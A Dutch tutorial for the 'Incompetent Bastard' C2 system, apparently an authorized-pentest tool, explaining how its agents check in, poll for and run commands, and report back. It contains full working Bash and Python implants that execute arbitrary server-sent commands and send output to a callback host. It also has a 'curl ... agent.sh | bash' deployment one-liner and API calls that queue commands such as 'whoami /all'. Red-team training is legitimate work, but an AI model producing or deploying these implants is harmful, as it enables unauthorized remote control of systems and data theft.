Agent C2 met Incompetent Bastard

Incompetent Bastard (IB) bevat een volledig command-and-control (C2) systeem waarmee je tijdens een geautoriseerde penetratietest lichtgewicht agents kunt uitrollen op doelsystemen. Deze agents melden zich aan bij het IB-dashboard, pollen voor opdrachten, voeren ze uit en rapporteren de resultaten terug. In deze tutorial leer je hoe het agentsysteem werkt, hoe je agents genereert en hoe je ze operationeel inzet.

IB – Het agentsysteem is bedoeld voor geautoriseerde pentests en red team assessments. Gebruik het uitsluitend binnen de scope van je opdracht.

Vereisten

flask --app app:create_app run --host 127.0.0.1 --port 5000

Hoe het agentsysteem werkt

Het IB C2-systeem volgt een pull-based model met vier kernfasen:

  1. Checkin – de agent registreert zich bij IB
  2. Polling – de agent vraagt periodiek om nieuwe opdrachten
  3. Uitvoering – de agent voert het commando lokaal uit
  4. Rapportage – de agent stuurt het resultaat terug

De vier API-endpoints

Endpoint Methode Beschrijving
/agent/checkin POST Registratie met hostname, username, os_info
/agent/cmd/<agent_id> GET Volgende opdracht ophalen (204 = geen opdracht)
/agent/res/<cmd_id> POST Resultaat van opdracht terugsturen
/agent/heartbeat/<agent_id> POST Heartbeat om de agent als actief te markeren

Checkin in detail

Bij de eerste aanmelding stuurt de agent een JSON-body naar /agent/checkin:

{
  "hostname": "WORKSTATION01",
  "username": "j.devries",
  "os_info": "Windows 10 x86_64",
  "script": "powershell"
}

De server retourneert een uniek agent_id en een polling-interval:

{"agent_id": "aBcDeFgHiJkLmNoPqRsTuVwXyZ012345", "freq": 3}

Statusbepaling

IB bepaalt de status op basis van de tijd sinds het laatste contact:

Tijd sinds laatste contact Status
< 30 seconden active (groen)
30 sec – 5 min idle (geel)
> 5 minuten dead (rood)

Agents genereren

Navigeer naar /dashboard/agentgen. De generator biedt agents in zeven talen met de volgende parameters:

Parameter Beschrijving Voorbeeld
Callback URL Adres van je IB-server http://10.10.14.5:5000
Frequentie Polling-interval in seconden 5
Jitter Procentuele afwijking op het interval 20
Retry max Maximum backoff-multiplier 5
Label Herkenbaar label voor de agent initial-access

IB – Stel de callback URL in op het IP-adres dat bereikbaar is vanuit het doelnetwerk, niet op 127.0.0.1.

Bash agent

Gebruikt curl, werkt op elk Linux- of macOS-systeem:

#!/bin/bash
CB="http://10.10.14.5:5000"
FREQ=5
hname=$(hostname 2>/dev/null || echo unknown)
uname_val=$(whoami 2>/dev/null || echo unknown)
os_info=$(uname -srm 2>/dev/null || echo unknown)

resp=$(curl -sk -X POST "$CB/agent/checkin" \
  -H "Content-Type: application/json" \
  -d "{\"hostname\":\"$hname\",\"username\":\"$uname_val\",\"os_info\":\"$os_info\",\"script\":\"bash\"}")

agent_id=$(echo "$resp" | python3 -c "import sys,json;print(json.load(sys.stdin)['agent_id'])" 2>/dev/null)
[ -z "$agent_id" ] && exit 1

while true; do
  raw=$(curl -sk -w "\n%{http_code}" "$CB/agent/cmd/$agent_id")
  code=$(echo "$raw" | tail -1)
  body=$(echo "$raw" | sed '$d')
  if [ "$code" = "200" ]; then
    cmd_id=$(echo "$body" | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" 2>/dev/null)
    command=$(echo "$body" | python3 -c "import sys,json;print(json.load(sys.stdin)['command'])" 2>/dev/null)
    output=$(eval "$command" 2>&1)
    curl -sk -X POST "$CB/agent/res/$cmd_id" -d "$output" >/dev/null 2>&1
  fi
  sleep $FREQ
done

Python agent

Cross-platform, alleen standaardbibliotheek:

import socket,os,json,time,subprocess,platform
from urllib.request import Request,urlopen

CB = "http://10.10.14.5:5000"
FREQ = 5
h = socket.gethostname()
u = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
o = f"{platform.system()} {platform.release()} {platform.machine()}"

def post(url, data, ct="application/json"):
    return urlopen(Request(url, data=data.encode(), headers={"Content-Type": ct}, method="POST"))

resp = json.loads(post(f"{CB}/agent/checkin", json.dumps({"hostname":h,"username":u,"os_info":o,"script":"python"})).read())
aid = resp["agent_id"]

while True:
    try:
        r = urlopen(Request(f"{CB}/agent/cmd/{aid}"))
        if r.status == 200:
            d = json.loads(r.read())
            out = subprocess.run(d["command"], shell=True, capture_output=True, text=True, timeout=300)
            post(f"{CB}/agent/res/{d['id']}", out.stdout + out.stderr, "text/plain")
    except Exception:
        pass
    time.sleep(FREQ)

Overige talen

IB ondersteunt daarnaast agents in PowerShell (IWR-based), C# (HttpClient), Go (net/http), Ruby (net/http) en Rust (reqwest crate). Elk van deze templates is beschikbaar via /dashboard/agentgen.

Het Agents Dashboard

Op /dashboard/agents zie je alle geregistreerde agents met: Agent ID, hostname, username, OS, IP, script-type, status, last seen en een link naar de asciicast-recording.

Agents API

# Alle agents opvragen
curl http://127.0.0.1:5000/api/agents

# Commandogeschiedenis van een agent
curl http://127.0.0.1:5000/api/agents/AGENT_ID/history

Opdrachten versturen

Via het dashboard

Op /dashboard/agents selecteer je een actieve agent en type je een commando. Het wordt in de wachtrij geplaatst en bij de volgende poll uitgevoerd.

Via de API

curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami /all"}'

De status doorloopt: queued -> sent -> done.

Agent recordings

IB legt automatisch een opname aan in asciicast v2 formaat per agent in meuk/logs/. Bekijk recordings op /dashboard/recordings als afspeelbare terminal-sessie.

IB – Recordings zijn waardevol als bewijsmateriaal. Exporteer ze als onderdeel van je rapportage.

Praktisch scenario: Linux-doel via reverse shell

Stap 1: Genereer een Bash-agent

Ga naar /dashboard/agentgen met callback http://10.10.14.5:5000, frequentie 5 seconden, jitter 20%.

Stap 2: Deploy de agent

curl -sk http://10.10.14.5:5000/http/payloads/agent.sh | bash

Stap 3: Bevestig de checkin

Op het dashboard verschijnt de agent. Controleer status, hostname en OS-informatie.

Stap 4: Voer opdrachten uit

curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
  -H "Content-Type: application/json" \
  -d '{"command":"id && uname -a && ip addr"}'

Stap 5: Bekijk de recording

Op /dashboard/recordings zie je de volledige sessie als terminal-opname.

Agent verwijderen

curl -X DELETE http://127.0.0.1:5000/api/agents/AGENT_ID

OPSEC-overwegingen

IB – Stel altijd een kill date in zodat agents niet oneindig blijven draaien als je ze vergeet op te ruimen.

Samenvatting

Het IB C2-agentsysteem biedt een lichtgewicht manier om doelsystemen te besturen:

De volledige broncode is beschikbaar op GitHub.